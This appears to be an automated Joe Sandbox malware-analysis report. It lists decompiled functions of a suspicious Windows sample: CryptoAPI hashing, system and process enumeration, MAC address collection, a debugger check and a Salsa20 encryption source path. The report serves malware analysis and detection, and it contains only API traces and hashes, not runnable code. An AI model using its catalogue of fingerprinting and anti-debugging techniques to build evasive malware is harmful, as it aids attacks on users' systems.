LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

Thread32First, xrefs: 00481E00
KERNEL32.DLL, xrefs: 0048199C
CloseToolhelp32Snapshot, xrefs: 00481D7B
$, xrefs: 00481F7E
Heap32ListFirst, xrefs: 00481DB4
CryptGenRandom, xrefs: 00481AE3
GetCursorInfo, xrefs: 00481C58
Module32First, xrefs: 00481E26
ADVAPI32.DLL, xrefs: 00481989
Thread32Next, xrefs: 00481E13
Heap32First, xrefs: 00481D8E
LanmanServer, xrefs: 00481A74
NETAPI32.DLL, xrefs: 004819A9
Process32First, xrefs: 00481DDA
USER32.DLL, xrefs: 00481C31
CryptReleaseContext, xrefs: 00481AF6
NetApiBufferFree, xrefs: 004819F0
LanmanWorkstation, xrefs: 00481A26
Module32Next, xrefs: 00481E39
CryptAcquireContextW, xrefs: 00481AD5
CreateToolhelp32Snapshot, xrefs: 00481D67
NetStatisticsGet, xrefs: 004819E2
Heap32Next, xrefs: 00481DA1
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
GetForegroundWindow, xrefs: 00481C4A
GetQueueStatus, xrefs: 00481C6B
Heap32ListNext, xrefs: 00481DC7
Process32Next, xrefs: 00481DED

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ,?,00000400,?,00000000,00000000), ref: 00411974
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260,?,00000400,?,00000000,00000000), ref: 00411993
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: fcdb3c65d237faf0aacdec3d6eb45a8278326906d3b88b2002ac43bdb553a6d9
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 7f15536ece751806a483f3f034c79f9e821e57de7f78c7461c513ac46dc48599
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 00410160 Relevance: 26.2, APIs: 17, Instructions: 660COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000), ref: 00410346
_memmove.LIBCMT ref: 00410427
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0041048E
_memmove.LIBCMT ref: 00410514

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
Instruction ID: 4d52a43d2e6eeb98f1fe08e229a92f838bd03635929547cf71b8ba18611ce854
Opcode Fuzzy Hash: 2c535a9ce1b4a658066c3b574bdbe8b0733bbf1e4505cf72e2a34136cfdfc2a6
Instruction Fuzzy Hash: EF429F70D00208DBDF14DFA4C985BDEB7F5BF04308F20456EE415A7291E7B9AA85CBA9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 343a40c2320f36c0a67bd0d09e6816cdff555a949c20798249c71fe74911a55b
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 004382A2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2077131980.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2077131980.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

